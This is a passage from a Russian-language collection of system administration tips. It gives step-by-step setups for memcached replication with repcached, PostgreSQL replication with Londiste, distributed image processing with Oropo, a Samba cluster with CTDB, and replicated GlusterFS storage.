    в memcached номеров пользовательских сессий, при раздельном обслуживании частей
    сайта несколькими серверами.
    
    Ниже представлен пример настройки двух реплицированных memcached-серверов в Debian/Ubuntu.
    
    Для работы memcached в PHP подключаем соответствующий модуль и указываем
    хранить идентификаторы сессий через него:
    
       extension=memcache.so
       session.save_handler = memcache
       session.save_path = "tcp://192.168.168.61:11211?persistent=1,tcp://192.168.168.62:11211?persistent=1"
    
    При такой конфигурации идентификаторы сессий всегда будут сохраняться сразу на
    двух узлах memcached. Но у такой схемы есть проблемы: если один узел выйдет из
    строя или будет перезагружен, все ранее сохраненные номера на этом узле сессий
    будут потеряны.
    
    Автоматизировать синхронизацию данных между несколькими memcached-серверами
    можно при помощи repcached. При этом репликация производится в прозрачном
    режиме, пользовательские приложения обращаются только к локальному memcached, а
    всю работу по репликации выполняет repcached, делая это в асинхронном режиме.
    
    1. Копируем исходные тексты repcached c http://repcached.lab.klab.org/ ,
    дополнительно установив пакет libevent-dev, который понадобиться для сборки:
    
       # tar xvf memcached-1.2.8-repcached-2.2.tar
       # cd memcached-1.2.8-repcached-2.2/
       # apt-get install libevent-dev checkinstall
    
    Компилируем и устанавливаем в /usr/local/bin/memcached:
    
       # ./configure --enable-replication
       # make
    
    Устанавливаем через создание пакета вместо make install
       # checkinstall
    
    
    Формируем опции для запуска, создаем /etc/default/memcachedrep:
    
        DAEMON_ARGS="-m 64 -p 11211 -u root -P /var/run/memcachedrep.pid -d -x 192.168.168.2 -X 11212"
    
    где 192.168.168.2 - адрес второго сервера, куда следует реплицировать данные,
    11212 - номер порта, который будет использоваться для репликации данных.  На
    втором сервере по аналогии прописываем адрес первого сервера.
    
    Создаем скрипт для запуска /etc/init.d/memcachedrep:
    
    
       #! /bin/sh
       ### BEGIN INIT INFO
       # Provides:             memcached
       # Required-Start:       $syslog
       # Required-Stop:        $syslog
       # Should-Start:         $local_fs
       # Should-Stop:          $local_fs
       # Default-Start:        2 3 4 5
       # Default-Stop:         0 1 6
       # Short-Description:    memcached - Memory caching daemon    replicated
       # Description:          memcached - Memory caching daemon  replicated
       ### END INIT INFO
       # Author: Marcus Spiegel <marcus.spiegel@gmail.com>
    
       PATH=/sbin:/usr/sbin:/bin:/usr/bin
       DESC="memcachedrep"
       NAME=memcached
       DAEMON=/usr/local/bin/$NAME
       DAEMON_ARGS="--options args"
       PIDFILE=/var/run/memcachedrep.pid
       SCRIPTNAME=/etc/init.d/$DESC
       VERBOSE="yes"
       # Exit if the package is not installed
       [ -x "$DAEMON" ] || exit 0
       # Read configuration variable file if it is present
       [ -r /etc/default/$DESC ] && . /etc/default/$DESC
       # Load the VERBOSE setting and other rcS variables
       . /lib/init/vars.sh
       # Define LSB log_* functions.
       # Depend on lsb-base (>= 3.0-6) to ensure that this file is   present.
       . /lib/lsb/init-functions
       #
       # Function that starts the daemon/service
       #
       do_start()
       {
    	start-stop-daemon --start --quiet --pidfile $PIDFILE --exec $DAEMON --test > /dev/null \
    		|| return 1
    	start-stop-daemon --start --quiet --pidfile $PIDFILE --exec $DAEMON -- \
    		$DAEMON_ARGS \
    		|| return 2
       }
       #
       # Function that stops the daemon/service
       #
       do_stop()
       {
          start-stop-daemon --stop --quiet --retry=TERM/30/KILL/5 --pidfile $PIDFILE --name $NAME
          RETVAL="$?"
          [ "$RETVAL" = 2 ] && return 2
    	start-stop-daemon --stop --quiet --oknodo --retry=0/30/KILL/5 --exec $DAEMON
    	[ "$?" = 2 ] && return 2
    	# Many daemons don't delete their pidfiles when they exit.
    	rm -f $PIDFILE
    	return "$RETVAL"
       }
       #
       # Function that sends a SIGHUP to the daemon/service
       #
       do_reload() {
    	start-stop-daemon --stop --signal 1 --quiet --pidfile $PIDFILE --name $NAME
    	return 0
       }
       case "$1" in
         start)
    	[ "$VERBOSE" != no ] && log_daemon_msg "Starting $DESC" "$NAME"
    	do_start
    	case "$?" in
    		0|1) [ "$VERBOSE" != no ] && log_end_msg 0 ;;
    		2) [ "$VERBOSE" != no ] && log_end_msg 1 ;;
    	esac
    	;;
         stop)
    	[ "$VERBOSE" != no ] && log_daemon_msg "Stopping $DESC" "$NAME"
    	do_stop
    	case "$?" in
    		0|1) [ "$VERBOSE" != no ] && log_end_msg 0 ;;
    		2) [ "$VERBOSE" != no ] && log_end_msg 1 ;;
    	esac
    	;;
         restart|force-reload)
    	log_daemon_msg "Restarting $DESC" "$NAME"
    	do_stop
    	case "$?" in
    	  0|1)
    		do_start
    		case "$?" in
    			0) log_end_msg 0 ;;
    			1) log_end_msg 1 ;; # Old process is still running
    			*) log_end_msg 1 ;; # Failed to start
    		esac
    		;;
    	  *)
    	  	# Failed to stop
    		log_end_msg 1
    		;;
    	esac
    	;;
         *)
    	#echo "Usage: $SCRIPTNAME {start|stop|restart|reload|force-reload}" >&2
    	echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
    	exit 3
    	;;
       esac
       exit 0
    
    Тестируем:
    
    На первом узле помещаем ключ в хранилище:
    
       $ telnet 127.0.0.1 11211
    
       set foo 0 0 3
       bar
       STORED
    
    На втором узле убеждаемся, что ключи реплицировались успешно:
    
       telnet 127.0.0.1 11211
    
       get foo
       VALUE foo 0 3
       bar
       END
    
    Далее перезапускаем один из memcached-серверов и по аналогии проверяем,
    восстановились ли на нем данные.
    
     
    ----* Установка Londiste, системы асинхронной мастер-слэйв репликации PostgreSQL (доп. ссылка 1)   Автор: Sergey Konoplev  [комментарии]
     
    Инструкция содержит подробное пошаговое описание процесса настройки репликации
    на основе Londiste, системы асинхронной мастер-слэйв репликации из пакета
    SkyTools от Skype.
    
    Допустим есть 2 сервера - host1 и host2. На host1 работает кластер с одной или
    несколькими базами, которые необходимо реплицировать на host2. Другими словами
    host1 будет мастером, а host2 слейвом.
    
    Прежде всего необходимо установить пакет SkyTools. Его исходники можно найти на
    официальном сайте проекта
    http://developer.skype.com/SkypeGarage/DbProjects/SkyTools или в wiki
    http://wiki.postgresql.org/wiki/Skytools . Там же найдёте всю документацию и
    ссылки на дополнительные материалы. Советую обращаться к ним если захотите
    узнать дополнительные подробности о вещах, которых я буду в данной статье
    касаться поверхностно.
    
    Итак, всё ПО необходимое для репликации установлено, но, прежде чем начать
    настройку, хочу рассказать о принципах работы Londiste в очень общих словах.
    
    Londiste базируется на механизме очередей PgQ, который тоже входит в пакет
    SkyTools. Информация об изменениях данных попадает в эти очереди из
    спец-триггеров, навешиваемых на реплицируемые таблицы. PgQ, в свою очередь,
    основывается на пакетной обработке и использует так называемый ticker, утилиту
    (демон), генерирующую события готовности пачек данных. Эти события слушает
    демон Londiste и по их наступлению переносит пачки с мастера на слейв.
    
    Репликация на базе Londiste может работать по схеме - один мастер на несколько
    слейвов. В связи с этим я буду делать пометки, различающие установку репликации
    первого слейва и последующих. Также я буду различать репликацию отдельной базы
    и кластера целиком.
    
    Описанный процесс не требует даунтайма.
    
    Замечание: В данном описании будут часто встречаются обобщения более узких
    ситуаций, которые не тестировались во всех возможных вариантах. Так что прежде
    чем внедрять её в продакшн, тщательно протестируйте ваш процесс. Если вы
    найдёте какую-нибудь ошибку или не рабочую ситуацию, буду благодарен если сообщите.
    
    
    1. Первым делом подготовим мастер-сервер
    
    1.1. Права на мастере
    
    В данном примере все утилиты будут работать под системным пользователем
    postgres. Операции с БД я доверю также пользователю postgres (который в базе).
    Но в реальности будет правильнее сделать отдельного пользователя для этих
    утилит, смотрите по вашей ситуации.
    
    Дадим пользователю postgres доверительный доступ (без пароля) к базам на мастере со слейва.
    
    /var/lib/postgres/8.4/data/pg_hba.conf:
    
       ...
       # TYPE DATABASE USER CIDR-ADDRESS METHOD
       # host2 IP
       host db1 postgres 192.168.10.2/32 trust
       .. .
    
    Если реплицируются конкретные базы, а не весь комплект, то добавьте такие
    записи для каждой из них. В случае же репликации всех БД достаточно одной
    записи, где в колонке DATABASE указываем all. Не забудьте сделать reload серверу.
    
    1.2. Настрока ticker-а
    
    Далее создадим файл конфигурации ticker-а.
    /etc/skytools/db1-ticker.ini:
    
       [pgqadm]
       job_name = db1-ticker
       db = dbname=db1
    
       # Задержка между запусками обслуживания (ротация очередей и т.п.) в секундах
       maint_delay = 600
    
       # Задержка между проверками наличия активности (новых пакетов данных) в секундах
       loop_delay = 0.1
       logfile = /var/log/skytools/%(job_name)s.log
       pidfile = /var/run/skytools/%(job_name)s.pid
    
    Создайте подобные конфигурации для каждой реплицируемой базы.
    
    1.3. Запускаем ticker
    
    Теперь необходимо инсталлировать служебный код (SQL) и запустить ticker как
    демона для каждой из баз. Делается это с помощью утилиты pgqadm.py следующими командами:
    
       python pgqadm.py /etc/skytools/db1-ticker.ini install
       python pgqadm.py /etc/skytools/db1-ticker.ini ticker -d
    
    Проверим, что в логах (/var/log/skytools/db1-tickers.log) всё нормально. На
    данном этапе там должны быть редкие записи (раз в минуту).
    
    
    2. Далее настроим слейв
    
    2.1. Убедимся что Londiste остановлен
    
       python londiste.py -s /etc/skytools/db1-londiste.ini
    
    Повторите для всех реплицируемых баз.
    
    2.2. Востанавливаем схему базы
    
    Замечание: В данном примере подразумевается что целевая система не содержит баз
    с такими же именами как у реплицируемых.
    
    Если реплицируются отдельные базы, то прежде всего необходимо создать
    пользователей, идентичных тем, которые работали с ними на мастере. Далее
    переносим схемы этих баз на слейв (повторяем для каждой):
    
       pg_dump -s -C -h host1 -U postgres db1 |
       psql -U postgres 1>db1-restore.stdout 2>db2-restore.stderr
    
    Если реплицируем все базы целиком, то достаточно один раз сделать так:
    
       pg_dumpall -s -h host1 -U postgres |
       psql -U postgres 1>all-restore.stdout 2>all-restore.stderr
    
    Убедимся, что в лог-файлах *-restore.stderr отсутствуют ошибки кроме "роль
    postgres уже существует" (ч.г. не могу понять для чего вообще pg_dumpall дампит
    эту роль).
    
    
    2.3. Создаём конфигурацию репликатора
    
    Для каждой из реплицируемых баз создадим конфигурационные файлы:
    /etc/skytools/db1-londiste.ini:
    
       [londiste]
       job_name = db1-londiste
    
       provider_db = dbname=db1 port=5432 host=host1
       subscriber_db = dbname=db1
    
       # Это будет использоваться в качестве SQL-идентификатора, т.ч. не используйте
       # точки и пробелы.
       # ВАЖНО! Если есть живая репликация на другой слейв, именуем очередь так-же
       pgq_queue_name = db1-londiste-queue
    
       logfile = /var/log/skytools/%(job_name)s.log
       pidfile = /var/run/skytools/%(job_name)s.pid
    
       log_size = 5242880
       log_count = 3
    
    2.4. Устанавливаем Londiste в базы на мастере и слейве
    
    Теперь необходимо установить служебный SQL для каждой из созданных в предыдущем
    пункте конфигураций.
    
    Устанавливаем код на стороне мастера:
    
       python londiste.py /etc/skytools/db1-londiste.ini provider install
    
    и подобным образом на стороне слейва:
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber install
    
    После этого пункта на мастере будут созданы очереди для репликации.
    
    
    2.5. Запускаем процессы Londiste
    
    Для каждой реплицируемой базы делаем:
    
       python londiste.py /etc/skytools/db1-londiste.ini replay -d
    
    Таким образом запустятся слушатели очередей репликации, но, т.к. мы ещё не
    указывали какие таблицы хотим реплицировать, они пока будут работать в холостую.
    
    Убедимся что в логах нет ошибок (/var/log/skytools/db1-londistes.log).
    
    2.6. Добавляем реплицируемые таблицы
    
    Для каждой конфигурации указываем что будем реплицировать с мастера:
    
       python londiste.py /etc/skytools/db1-londiste.ini provider add --all
    
    и что со слейва:
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber add --all
    
    В данном примере я использую спец-параметр --all, который означает все таблицы,
    но вместо него вы можете перечислить список конкретных таблиц, если не хотите
    реплицировать все.
    
    2.7. Добавляем реплицируемые последовательности (sequence)
    
    Так же для всех конфигураций.
    
    Для мастера:
    
       python londiste.py /etc/skytools/db1-londiste.ini provider add-seq --all
    
    Замечание: В версиях SkyTools до 2.1.9 включительно была обнаружена ошибка при
    добавлением последовательностей на мастере используя параметр --all, т.ч. если
    у вас такая версия используйте следующий хак:
    
        for seq in $(
        psql -t -A -U postgres toozla -c "\ds" |
        awk -F '|' '{ if ($1 != "pgq" && $1 != "londiste") { print $1"."$2 } }');
        do
        python londiste.py /etc/skytools/db1-londiste.ini provider add-seq $seq;
        done
    
    
    
    Для слейва:
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber add-seq --all
    
    Точно также как и с таблицами можно указать конкретные последовательности вместо --all.
    
    
    2.8. Проверка
    
    Итак, всё что надо сделано. Теперь Londiste запустит так называемый bulk copy
    процесс, который массово (с помощью COPY) зальёт присутствующие на момент
    добавления таблиц данные на слейв, а затем перейдёт в состояние обычной репликации.
    
    Мониторим логи на предмет ошибок:
    
       less /var/log/skytools/db1-londiste.log
    
    Если всё хорошо, смотрим состояние репликации. Данные уже синхронизированы для
    тех таблиц, где статус отображается как "ok".
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber tables
    
       Table State
       public.table1 ok
       public.table2 ok
       public.table3 in-copy
       public.table4 -
       public.table5 -
       public.table6 -
       ...
    
    Для удобства представляю следующий трюк с уведомление в почту об окончании
    первоначального копирования (мыло поменять на своё ;):
    
       (
       while [ $(
       python londiste.py /etc/skytools/db1-londiste.ini subscriber tables |
       tail -n+2 | awk '{print $2}' | grep -v ok | wc -l) -ne 0 ];
       do sleep 60; done; echo '' | mail -s 'Replication done EOM' user@domain.com
       ) &
    
    Ссылки на публикации, которые мне помогли в написании этой статьи:
    
       SkyTools - PostgreSQL Wiki http://wiki.postgresql.org/wiki/Skytools
       SkyTools - Skype Developer Zone https://developer.skype.com/SkypeGarage/DbProjects/SkyTools
       PostgreSQL master slave(s) asynchronous replication - tail -f /dev/dim http://tapoueh.org/skytools.html
    
     
    ----* Обработка тысяч изображений на нескольких узлах при помощи Oropo (доп. ссылка 1)   [комментарии]
     
    Проект Oropo (http://www.oropo.org/) позволяет разнести обработку большого
    объема ресурсоемких операций на несколько машин в сети, организовав временный
    кластер. В качестве примера рассмотрим выполнение задачи уменьшения размера
    нескольких тысяч изображений с высоким разрешением.
    Для преобразования буде использовать стандартные утилиты из пакета libjpeg -
    djpeg и cjpeg. В итоге для обработки одной картинки создадим простой скрипт make_smaller.sh:
    
       #!/bin/bash
       QUALITY=30
       if [ $# -ne 1 ]; then
    	echo "arguments" 1>&2
    	exit 1;
       fi
       FILE_PATH=$1
       djpeg $FILE_PATH | cjpeg -quality $QUALITY 
    
    При выполнении операции на одном компьютере, нам бы потребовался
    последовательный перебор всех изображений в цикле:
    
       #!/bin/bash
       MAKE_SMALLER=$PWD/make_smaller.sh
       IMGS_DIR=$PWD/imgs
       TARGET_DIR=$PWD/imgs_smaller
       for file in $IMGS_DIR/*; do
    	bash $MAKE_SMALLER $file > $TARGET_DIR/${file##*/}
       done
    
     
    Используя систему Oropo Executor можно легко распараллелить выполнение
    поставленной задачи на несколько машин в сети. Как видно из следующего скрипта,
    скрипт претерпел минимальные изменения, изображения все так же перебираются
    последовательно, а их распараллеливание вынесено целиком на плечи программы oropo-system-pusher.
    
     
    Processing parallelly
    
    #!/bin/bash
    MAKE_SMALLER=$PWD/make_smaller.sh
    IMGS_DIR=$PWD/imgs
    for file in $IMGS_DIR/*; do
    	oropo-system-pusher -p "string:bash" -p "path:$MAKE_SMALLER" -p "path:$file"
    done
    
    Результат работы сохраняется в файлах /var/lib/oropo/response/*/0
     
    
    Настройка Oropo
    
    Как видим, распаралелливание было организовано предельно просто, не более
    трудно настроить работу инфраструктуры Oropo в Debian и Ubuntu.
     
    Подключаем репозиторий с готовыми пакетами oropo, в /etc/apt/sources.list добавляем:
    
       deb http://students.mimuw.edu.pl/~ms209495/oropo/debian sid main
    
    Устанавливаем:
    
       sudo apt-get update
       sudo apt-get install oropo-system
    
     
    На узлах-обработчиках заданий ставим по аналогии Oropo Executor:
    
       sudo apt-get install ap-executor
    
     
    Настраиваем центральный управляющий узел, на котором будем инициировать выполнение заданий. 
    Добавляем себя в группу  oropo:
    
       adduser `whoami` oropo
    
    Добавляем IP-адреса узлов-обработчиков:
    
       oropo-monitor-ctl --id_prefix oropomonitor --add 192.168.1.2
       oropo-monitor-ctl --id_prefix oropomonitor --add 192.168.1.3
       oropo-monitor-ctl --id_prefix oropomonitor --add 192.168.1.4
    
    Все готово !
    
     
    ----* Кластер Samba с использованием CTDB   Автор: Панков Петр  [комментарии]
     
    Введение
    
    Данная статья описывает механизм развертывания файлового сервера на
    предварительно поднятом кластере высокой готовности (High-Aviability).
    Предполагается, что все кластерные службы, а так же службы обеспечения высокой
    готовности настроены и запущены. В моем случае, кластер состоит из 2-х узлов.
    
    Собственно ПО
    
    Поясню выбор ПО и, собственно, для чего это все делается.
    
    1. Чтобы поднять кластер из соединенных между собой каналами связи серверов,
    необходимо установить некоторые службы для централизованного управления
    ресурсами, а также использовать кластерную ФС для организации общего хранилища.
    В случае, если используется ОС от RedHat, сюда входят:
    
    - CMAN - или cluster manager - служба управления кластером. демон, который
    соединяет и отсоединяет узлы от кластера. Выполняется на каждой ноде;
    
    - CCSD - это демон, который обеспечивает доступ к файлу
    конфигурации(cluster.conf) другим кластерным приложениям. Выполняется на каждом узле;
    
    - fencing - часть кластерной системы конфигурации. Этот демон блокирует доступ
    узлу, с которым отсутствует связь, к общим ресурсам кластера.
    
    - GFS2 в качестве кластерной ФС.
    
    2. Чтобы поднять кластер высокой готовности, необходимо решить ряд задач, а
    именно, обеспечить целостность данных и доступность ресурсов при отказе одного
    из узлов.
    
    - DRBD. По сути, сетевой RAID1. Используется для репликации данных. Таким
    образом данные всегда доступны при отказе одного из узлов. Начиная с версии 8,
    DRBD позволяет организовать работу всех устройств в режиме "primary", в отличае
    от предыдущих версий, где primary устройство было единственное.
    
    - HeartBeat. Механизизм "сердцебиения". Эта служба "наблюдает" за узлами, и, в
    случае, отказа одного из них, передает задачу другому, рабочему узлу. Таким
    образом, достигается доступность сервисов.
    
    3. Чтобы поднять файловый сервер на данном кластере и использовать его для
    Windows-клиентов, необходимо использовать Samba'у. Текущая версия Samba не
    поддерживает развертывание её на кластере из-за свеобразного механизма работы.
    
    Поясню: Samba использует легковесную базу данных (TDB) для приведения
    соответствия Windows SID к Unix UID/GID (таблицы ID-мэппинга), хранения данных
    об открытых сессиях (session.tdb), таблицу блокировок файловой системы
    (locking.tdb), а также ряд других параметров.
    
    Если использовать классическую конфигурацию на кластере "как есть", получим
    следующее: На каждом узле работает свой демон smbd и каждый узел имеет свою
    копию TDB, причем эти TDB никак не связаны между собой и не имеют механизма
    взаимодействия. Это и является проблемой. Необходимо, чтобы все узлы кластера
    "знали" в каждый момент времени некоторые значения из всех TDB. Ключевым здесь
    является - locking.tdb и session.tdb. Для этих целей и используется CTDB.
    
    CTDB преобразует стандартный механизм работы Samba с TDB: все локальные
    locking.tdb и session.tdb - преобразуются в распределенную базу данных, таблицы
    ID-мэппинга остаются под управлением локальных демонов smbd. CTDB также
    осуществляет управление демонами smbd и производит передачу управления демоном
    smbd в случае отказа узла.
    
    Подведем некоторые итоги
    
    Имеем следующее:
    
    -кластерную систему, которая используется как файловый сервер. Для этого
    используем службу Samba, запущенную одновременно на всех узлах
    
    - за её работу отвечает CTDB. Данные хранятся на локальных дисках,
    реплицируются с помощью DRBD, доступ к ним может осуществляться одновременно
    обоими узлами кластера(для этого и нужна кластерная ФС - GFS2).
    
    Таким образом, потеря данных исключена, доступность сервисов обеспечена.
    
    Служба HeartBeat в данном случае не используется, так как CTDB выполняет эти
    функции для Samba-сервера.
    
    В результате, получим: высокопроизводительный файловый сервер, обеспечивающий
    100%-ю целостность данных и непрырывность предоставляемых сервисов.
    
    Установка, настройка и запуск
    
    То, что описано ниже, делаем на всех узлах кластера.
    
    Для начала собираем CTDB из исходных текстов
    
           cd ctdb
           ./autogen.sh
           ./configure
           make
           make install
    
    
    После этого необходимо создать и отредактировать основные конфигурационные
    файлы, служащие для запуска и работы CTDB.
    
    1. Создать файл /etc/sysconfig/ctdb.sysconfig:
    
           CTDB_RECOVERY_LOCK="/synchronized/lock"
           CTDB_PUBLIC_INTERFACE=eth0
           CTDB_PUBLIC_ADDRESSES=/usr/local/etc/ctdb/public_addresses
           CTDB_MANAGES_SAMBA=yes
           CTDB_INIT_STYLE=redhat
           CTDB_NODES=/usr/local/etc/ctdb/nodes
           CTDB_LOGFILE=/var/log/log.ctdb
    
    В данном случае, этот файл не использует все возможные параметры, а лишь те,
    которые необходимы в данном случае:
    
    CTDB_RECOVERY_LOCK="/synchronized/lock" - этот параметр описывает
    месторасположение файла, в котором хранится записи о том, какой из узлов
    является мастером восстановления. Файл lock должен располагаться на общем
    хранилище и быть доступным всем нодам,использующим CTDB.
    
    CTDB_PUBLIC_INTERFACE=eth0 - этот параметр описывает сетевой интерфейс, на
    котором в данный момент времени поднято сетевое соединение.
    
    CTDB_PUBLIC_ADDRESSES=/usr/local/etc/ctdb/public_addresses - этот параметр
    определяет файл, содержащий список IP-адресов, по которым клиенты, использующие
    Samba для доступа к файловым ресурсам, посылают запросы на соединение.
    Распределением этих адресов по нодам занимается CTDB.
    
    CTDB_MANAGES_SAMBA=yes - этот параметр определяет, будет ли CTDB управлять
    запуском  Samba-сервера вместо стандартных сценариев управления, которые
    реализует операционная система.
    
    CTDB_INIT_STYLE=redhat - этот параметр описывает сценарии запуска служб для
    различных операционных систем.
    
    CTDB_NODES=/usr/local/etc/ctdb/nodes - этот параметр определяет файл, в котором
    хранится информация об узлах кластера.
    
    CTDB_LOGFILE=/var/log/log.ctdb - этот параметр определяет лог-    файл,
    использующийся службой CTDB.
    
    2.  Создать файл /usr/local/etc/ctdb/nodes:
    
           192.168.1.1
           192.168.1.2
    
    Здесь IP-адрес 192.168.1.1 принадлежит первой ноде, IP-адрес 192.168.1.2 - второй.
    
    3. Создать файл /usr/local/etc/ctdb/public_addresses:
    
           192.168.0.200/24 eth0
    
    Это IP-адрес, за которым в DNS сервере закреплено доменное имя Samba-сервера.
    
    
    Далее собираем самбу
    
           cd samba-3.3.8/source
           ./autogen.sh
           ./configure --with-ctdb=/usr/src/ctdb --with-cluster-support \
              --enable-pie=no --with-shared-modules=idmap_tdb2
           make
           make install
    
    /usr/src/ctdb - каталог с исходными текстами CTDB, установленными ранее.
    
    Правим smb.conf
    
    Эти два параметра обязательно надо добавить в global. Остальное, по Вашим запросам.
    
           clustering = Yes
           idmap backend = tdb
    
    Запуск Samba
    
    Сначала запускаем CTDB на всех узлах кластера.
    
           /usr/local/sbin/ctdbd
    
    Проверяем, запустилось ли.
    
           ctdb status
    
    Если все конфигурационные файлы корректны,будет такое:
    
           Number of nodes:2
           pnn:0 192.168.1.1      OK (THIS NODE)
           pnn:1 192.168.1.2      OK
           Generation:1087563258
           Size:2
           hash:0 lmaster:0
           hash:1 lmaster:1
           Recovery mode:NORMAL (0)
           Recovery master:0
    
    Проверяем для начала параметры smb.conf
    
           /usr/local/samba/bin/testparm
    
           Load smb config files from /usr/local/samba/etc/smb.conf
           Processing section "[public]"
           Loaded services file OK.
           Server role: ROLE_STANDALONE
    
    Запускаем самбу:
    
           /usr/local/samba/sbin/smbd -D
           /usr/local/samba/sbin/smbd -D
    
    Далее, все как обычно, только не забывайте, что это не кластер, и все действия
    должны быть выполнены на всех узлах.
    
    Тестирование
    
    Для сравнения производительности Samba-сервера с использованием CTDB и без
    использования CTDB, а также возможностей файловой системы (общего хранилища)
    используется ряд тестовых модулей.
    
    Скорость чтения данных
    
    Чтение(MB/sec)
    Клиент
    1
    2
    3
    4
    Samba без CTDB
    2,15
    2,16
    2,13
    2,09
    Samba + CTDB
    24,73
    23,42
    23,26
    23,15
    
    Сервер был доступен по кналу 1 Гб/с, поэтому суммарно использовано около 75%
    пропускной способности.
    
    Скорость записи идентична, не намного уступает, определяется скорее возможностями файловой системы.
    Замечу, что с ростом узлов (до 8) скорость доступа к данным (скорость
    чтения/записи) стремительно растет.
    
    
    Заключение
    
    Предложенный вариант кластеризации Samba позволяет достичь некоторых результатов:
    1. Высокая надежность и отказоустойчивость (читайте про CTDB). Потеря данных исключена.
    2. Показатели производительности по сравнению с 1-серверными системами отличные.
    
    Конфигурация годится для организации бюджетного кластерного файлового сервера,
    и при грамотной организации каналов связи (между узлами, клиент- сервер)
    обеспечит отличный уровень производительности.
    
    Список источников
    
    * http://ctdb.samba.org
    * http://wiki.samba.org/index.php/Clustered_Samba
    
     
    ----* Отказоустойчивое хранилище с автоматической репликацией на базе GlusterFS (доп. ссылка 1)   Автор: petrov.pash  [комментарии]
     
    Инструкция по создании зеркалируемого (реплицированного) между двумя машинами
    хранилища файлов на базе GlusterFS (http://www.gluster.com/) и Ubuntu 9.10.
    Добавляемый в созданное хранилище файл на первом сервере буде сразу доступен на
    втором и наоборот, при этом данные на каждой машине будут использоваться из
    локального раздела, что обеспечивает значительно более высокую
    производительность, по сравнению с NFS. С особенности кластерной файловой
    системы GlusterFS можно познакомиться на данной странице.
    
    В рассматриваемой конфигурации задействованы три машины: два сервера
    (server1.example.com/192.168.0.100, server2.example.com/192.168.0.101) и один
    клиент (client1.example.com: IP адрес 192.168.0.102). Серверы выступают в роли
    машин для экспорта дисковых разделов, доступ к отказоустойчивому хранилищу
    осуществляется на стороне клиента.
    
    В представленном примере серверы и клиент размещены на разных машинах, но в
    реальных условиях клиентские и серверные составляющие обычно совмещены  на
    одной машине. Соответствующую конфигурацию можно сгенерировать при помощи
    утилиты glusterfs-volgen.
    
    Установка серверной части GlusterFS на server1.example.com и server2.example.com:
    
    Так как GlusterFS доступен в стандартном репозитории Ubuntu 9.10, достаточно
    выполнить (сейчас и далее все действия выполняются под пользователем root):
    
       apt-get install glusterfs-server
    
    Для организации хранилища на сервере будем использовать каталог /data/export.
    
    Приводим файл конфигурации /etc/glusterfs/glusterfsd.vol на серверах в следующий вид:
    
       volume posix
        type storage/posix
        option directory /data/export
       end-volume
    
       volume locks
        type features/locks
        subvolumes posix
       end-volume
    
       volume brick
        type performance/io-threads
        option thread-count 8
        subvolumes locks
       end-volume
    
       volume server
        type protocol/server
        option transport-type tcp
        # далее через запятую нужно перечислить IP или имена хостов клиентов
        # можно использовать маски вида 192.168.*,
        option auth.addr.brick.allow 192.168.0.102 
        subvolumes brick
       end-volume
    
    Запускаем сервер GlusterFS:
    
       /etc/init.d/glusterfs-server start
    
    
    Настройка клиента GlusterFS
    
    Для установки клиентской части GlusterFS выполняем:
    
       aptitude install glusterfs-client glusterfs-server
    
    Хранилище будем монтировать в каталог /mnt/glusterfs.
    
    Приводим файл конфигурации клиента /etc/glusterfs/glusterfs.vol в следующий вид:
    
       volume remote1
        type protocol/client
        option transport-type tcp
        option remote-host 192.168.0.100 # server1.example.com
        option remote-subvolume brick
       end-volume
    
       volume remote2
        type protocol/client
        option transport-type tcp
        option remote-host 192.168.0.101 # server2.example.com
        option remote-subvolume brick
       end-volume
    
       volume replicate
        type cluster/replicate
        subvolumes remote1 remote2
       end-volume
    
       volume writebehind
        type performance/write-behind
        option window-size 1MB
        subvolumes replicate
       end-volume
    
       volume cache
        type performance/io-cache
        option cache-size 512MB
        subvolumes writebehind
       end-volume
    
    
    Монтируем файловую систему GlusterFS в каталог /mnt/glusterfs:
    
       glusterfs -f /etc/glusterfs/glusterfs.vol /mnt/glusterfs
    или
       mount -t glusterfs /etc/glusterfs/glusterfs.vol /mnt/glusterfs
    
    Для автоматизации монтирования во время загрузки в /etc/fstab сдедует добавить:
    
       /etc/glusterfs/glusterfs.vol  /mnt/glusterfs  glusterfs  defaults  0  0
    
    Тестирование
    
    Создаем в GlusterFS разделе на стороне клиента несколько файлов:
    
       touch /mnt/glusterfs/test1
       touch /mnt/glusterfs/test2
    
    Эти файла сразу должны появиться на серверах в каталоге /data/export
    
    Выключим первый сервер и добавить на стороне клиента еще несколько файлов:
    
       touch /mnt/glusterfs/test3
       touch /mnt/glusterfs/test4
       rm -f /mnt/glusterfs/test2
    
    Изменения должны появиться на втором сервере.
    
    Включим первый сервер и увидим, что данные на нем неактуальны. Изменения будут
    синхронизированы автоматически, для инициирования синхронизации на стороне
    клиента достаточно выполнить любую операцию с разделом, например, посмотреть
    содержимое через "ls -l /mnt/glusterfs/".
    
    
    GlusterFS в роли замены NFS с поддержкой кэширования.
    
    Чтобы примонтировать раздел в NFS-подобном виде, без репликации, достаточно
    добавить в конфигурации сервера в блоке "volume locks" опцию "option
    mandatory-locks on". На стороне клиента нужно закомментировать в конфигурации
    блок "volume replicate" и  убрать блок, описывающий вторую реплицируемую
    директорию "volume remote2". В секции "volume writebehind" на стороне клиента
    при этом заменяем опцию "subvolumes replicate" на "subvolumes remote", а также
    можем уменьшить размер окна до 1 Мб ("option window-size 1MB").
    
    Создание распределенного на 4 узла хранилища
    
    При реализации хранилища, распределенного на 4 узла, настройка производится
    аналогично, по аналогии с remote2 добавляются разделы remote3 и remote4. Вместо
    "volume replicate" добавляется раздел "volume distribute":
    
       ...
       volume remote3
         type protocol/client
         option transport-type tcp
         option remote-host server3.example.com
         option remote-subvolume brick
       end-volume
    
       volume remote4
         type protocol/client
         option transport-type tcp
         option remote-host server4.example.com
         option remote-subvolume brick
       end-volume
    
       volume distribute
         type cluster/distribute
         subvolumes remote1 remote2 remote3 remote4
       end-volume
       ...
    
    В блоке "volume writebehind" приписывается "subvolumes distribute".
    
    Конфигурацию можно сгенерировать автоматически, например, запустив на одном из серверов:
    
       glusterfs-volgen --name repstore1 --raid 1 hostname1:/export/sdb1 \
         hostname2:/export/sdb1 hostname3:/export/sdb1 hostname4:/export/sdb1
    
    При надлежащей настройке параметров доступа к серверам все параметры
    конфигурации серверных и клиентских составляющих на всех машинах
    распределенного хранилища будут обновлены автоматически. Для систем не
    поддерживающих GlusterFS доступ к хранилищу можно организовать через NFS, SMB
    или WebDAV.
    
     
